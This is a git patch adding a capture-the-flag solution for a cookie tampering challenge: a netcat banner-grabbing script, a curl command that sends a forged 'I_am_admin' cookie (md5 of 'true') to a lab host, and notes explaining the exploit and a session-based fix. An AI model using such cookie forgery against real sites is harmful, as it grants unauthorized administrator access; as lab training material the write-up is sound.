From 3e0d34c9c02d467ac53842edd5949416c52a0bc4 Mon Sep 17 00:00:00 2001 From: Thomas Vanbesien Date: Fri, 27 Mar 2026 11:03:57 +0100 Subject: Add cookie tampering solution --- Cookie tampering/Resources/banner_grabbing.bash | 3 +++ Cookie tampering/Resources/cookie_tamper.bash | 3 +++ Cookie tampering/Resources/notes.md | 21 +++++++++++++++++++++ 3 files changed, 27 insertions(+) create mode 100755 Cookie tampering/Resources/banner_grabbing.bash create mode 100755 Cookie tampering/Resources/cookie_tamper.bash create mode 100644 Cookie tampering/Resources/notes.md (limited to 'Cookie tampering/Resources') diff --git a/Cookie tampering/Resources/banner_grabbing.bash b/Cookie tampering/Resources/banner_grabbing.bash new file mode 100755 index 0000000..e17a0b2 --- /dev/null +++ b/Cookie tampering/Resources/banner_grabbing.bash @@ -0,0 +1,3 @@ +#!/usr/bin/bash + +printf 'HEAD / HTTP/1.0\r\n\r\n' | nc 10.0.2.15 80 diff --git a/Cookie tampering/Resources/cookie_tamper.bash b/Cookie tampering/Resources/cookie_tamper.bash new file mode 100755 index 0000000..314ff2f --- /dev/null +++ b/Cookie tampering/Resources/cookie_tamper.bash @@ -0,0 +1,3 @@ +#!/usr/bin/bash + +curl --cookie I_am_admin=b326b5062b2f0e69046810717534cb09 http://10.0.2.15 | grep Flag diff --git a/Cookie tampering/Resources/notes.md b/Cookie tampering/Resources/notes.md new file mode 100644 index 0000000..b372042 --- /dev/null +++ b/Cookie tampering/Resources/notes.md @@ -0,0 +1,21 @@ +## Exploit + +1. Did [banner grabbing](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server) and noticed an interesting cookie name: + ```bash + ❯ printf 'HEAD / HTTP/1.0\r\n\r\n' | nc 10.0.2.15 80 + HTTP/1.1 200 OK + Server: nginx/1.4.6 (Ubuntu) + Date: Fri, 27 Mar 2026 09:43:20 GMT + Content-Type: text/html + Connection: close + X-Powered-By: PHP/5.5.9-1ubuntu4.29 + Set-Cookie: I_am_admin=68934a3e9455fa72420237eb05902327; expires=Fri, 27-Mar-2026 10:43:20 GMT; Max-Age=3600 + ``` +1. Reverse looked up the md5 value `68934a3e9455fa72420237eb05902327` → `false` +1. Intuited to send a request to the website with the cookie value set to the md5 hash value `true` to get the flag. Test it with `cookie_poison.bash` or directly in Firefox: **F12** → **Storage** → **Cookies**. + +## Fix + +[https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/01-Testing_for_Session_Management_Schema]() + +Returning a cookie is not the problem, since cookies can be necessary, or useful for holding non-sensitive data (like settings). The problem is what the cookie contains. It is pretty obvious what the cookie is for by its name "I_am_admin". Cookies are stored client-side so they should not be trusted by the server for giving user privileges. A secure approach would be sending a "session_id" cookie with a random identifier and then look up in a database the privileges associated with the given session. -- cgit v1.2.3